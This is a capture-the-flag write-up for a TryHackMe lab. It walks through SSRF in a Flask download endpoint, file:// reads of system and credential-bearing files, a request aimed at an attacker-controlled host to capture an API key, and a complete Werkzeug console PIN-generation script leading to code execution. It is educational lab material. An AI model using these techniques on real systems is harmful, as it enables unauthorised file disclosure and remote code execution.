Skip to content
HackIndex logo

HackIndex

Plant Photographer Writeup - TryHackMe

Hard Linux
Joshua

HackIndex Creator

Discovery

Two open ports. The HTTP server identifies itself as Werkzeug — a Python/Flask development server, not a production stack.

┌──(kali㉿kali)-[~]
└─$ nmap -p- -T4 --min-rate 1000 --open --max-retries 2 $TARGET_IP
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -p 22,80 -T4 $TARGET_IP
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Werkzeug httpd 0.16.0 (Python 3.10.7)
|_http-server-header: Werkzeug/0.16.0 Python/3.10.7
|_http-title: Jay Green
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Directory brute-force finds four interesting paths immediately:

┌──(kali㉿kali)-[~]
└─$ ffuf -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
-u http://$TARGET_IP/FUZZ \
-e .php,.php5,.phtml,.html,.txt,.bak,.old,.zip \
-mc 200,204,301,302,307,401,403,500 -ic -recursion -recursion-depth 3
/           [Status: 200, Size: 6899]
/download   [Status: 200, Size: 20]
/admin      [Status: 200, Size: 48]
/console    [Status: 200, Size: 1985]

Four paths, each worth examining:

/admin returns Admin interface only available from localhost!!! — a localhost restriction enforced server-side.

/console is a Werkzeug interactive Python console — PIN protected.

/download accepts server and id parameters. The homepage links to a sample download URL:

http://$TARGET_IP/download?server=secure-file-storage.com:8087&id=75482342

The server parameter gets passed directly to pycurl. That's the attack surface.

Vulnerability Discovery

SSRF via the server parameter

Pointing server at a controlled host confirms outbound requests originate from the target and include a hardcoded API key header:

┌──(kali㉿kali)-[~]
└─$ curl -ik "http://$TARGET_IP/download?server=$ATTACKER_IP:8182/admin&id=75482342"

HTTP receiver output:

┌──(kali㉿kali)-[~]
└─$ === GET /admin/public-docs-k057230990384293/75482342.pdf
┌──(kali㉿kali)-[~]
└─$ Host: $ATTACKER_IP:8182
┌──(kali㉿kali)-[~]
└─$ User-Agent: PycURL/7.45.1 libcurl/7.83.1 OpenSSL/1.1.1q
┌──(kali㉿kali)-[~]
└─$ X-API-KEY: THM{...}

The URL construction in the source is: server + '/public-docs-k057230990384293/' + filename. Appending a ? to the server value truncates the path suffix, turning the request into a clean fetch of any target URL.

File read via file:// scheme

pycurl supports the file:// scheme. Adding %3f (URL-encoded ?) after the path drops the appended suffix:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP/download?server=file:///etc/passwd%3f&id=75482342"
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
...
nobody:x:65534:65534:nobody:/:/sbin/nologin

/bin/ash as root's shell and Alpine-style entries confirm the app runs inside a Docker container. /etc/shadow exists but all passwords are locked (! or *) — no hashes to crack.

Read the running process to locate the app source:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP/download?server=file:///proc/self/cmdline%3f&id=75482342" | tr '\0' '\n'
/usr/local/bin/python
/usr/src/app/app.py

Pull the full source:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP/download?server=file:///usr/src/app/app.py%3f&id=75482342"
@app.route("/admin")
def admin():
    if request.remote_addr == '127.0.0.1':
        return send_from_directory('private-docs', 'flag.pdf')
    return "Admin interface only available from localhost!!!"

@app.route("/download")
def download():
    ...
    crl.setopt(crl.URL, server + '/public-docs-k057230990384293/' + filename)
    crl.setopt(crl.HTTPHEADER, ['X-API-KEY: THM{...}'])
    crl.perform()

Two things confirmed: the /admin route returns flag.pdf only when the request originates from 127.0.0.1, and the app runs on port 8087. The SSRF can loop back to itself.

Initial Access

Flag 2 — SSRF to localhost admin

The ? trick causes pycurl to treat everything after server as the full URL. Pointing server at the local admin endpoint makes the request originate from 127.0.0.1:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP/download?server=http://127.0.0.1:8087/admin?&id=75482342" -o flag.pdf

The server fulfils the localhost check and returns the PDF. Flag 2 is inside flag.pdf.

Werkzeug console PIN bypass

The /console endpoint is Werkzeug's interactive debugger. It requires a PIN, but that PIN is deterministic — derived from values that are readable through the file read SSRF.

The PIN generation uses these inputs:

Public bits (fixed for Flask):

  • Username running the process

  • Module name: flask.app

  • App name: Flask

  • App file path from the earlier error: /usr/local/lib/python3.10/site-packages/flask/app.py

Private bits (collected via SSRF):

Username from process environment:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP/download?server=file:///proc/self/environ%3f&id=75482342" | tr '\0' '\n'

Returns root.

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP/download?server=file:///proc/net/arp%3f&id=75482342" | tr '\0' '\n'
IP address       HW type     Flags       HW address            Mask     Device
172.20.0.1       0x1         0x2         02:42:43:d4:5c:fa     *        eth0

The interface is eth0. Read its MAC address directly:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP/download?server=file:///sys/class/net/eth0/address%3f&id=75482342" | tr '\0' '\n'
02:42:ac:14:00:02
┌──(kali㉿kali)-[~]
└─$ python3 -c "print(int('0242ac140002', 16))"
2485378088962

Machine ID — Werkzeug uses the cgroup container ID for Docker environments:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP/download?server=file:///proc/self/cgroup%3f&id=75482342" | tr '\0' '\n'
12:pids:/docker/77c09e05c4a947224997c3baa49e5edf161fd116568e90a28a60fca6fde049ca
...
0::/docker/77c09e05c4a947224997c3baa49e5edf161fd116568e90a28a60fca6fde049ca

The container ID is 77c09e05c4a947224997c3baa49e5edf161fd116568e90a28a60fca6fde049ca.

Generate the PIN:

import hashlib
from itertools import chain

public_bits = [
    'root',
    'flask.app',
    'Flask',
    '/usr/local/lib/python3.10/site-packages/flask/app.py'
]

private_bits = [
    '2485378088962',
    '77c09e05c4a947224997c3baa49e5edf161fd116568e90a28a60fca6fde049ca'
]

h = hashlib.md5()
for bit in chain(public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

for group_size in 5, 4, 3:
    if len(num) % group_size == 0:
        rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                      for x in range(0, len(num), group_size))
        break

print(rv)

Enter the generated PIN at /console. The Werkzeug REPL opens.

Flag 3 — RCE via Werkzeug console

List the app directory from the interactive Python console:

>> import subprocess
>> subprocess.check_output(["ls", "-pal", "/usr/src/app/"])
-rw-r--r--    1 root     root            26 May 19  2025 flag-$SECRET.txt
drwxr-xr-x    2 root     root          4096 Sep 15  2022 private-docs/
drwxr-xr-x    2 root     root          4096 May 19  2025 public-docs/

The flag file name is randomised. Read it via the SSRF file read:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP/download?server=file:///usr/src/app/flag-$SECRET.txt%3f&id=75482342"

References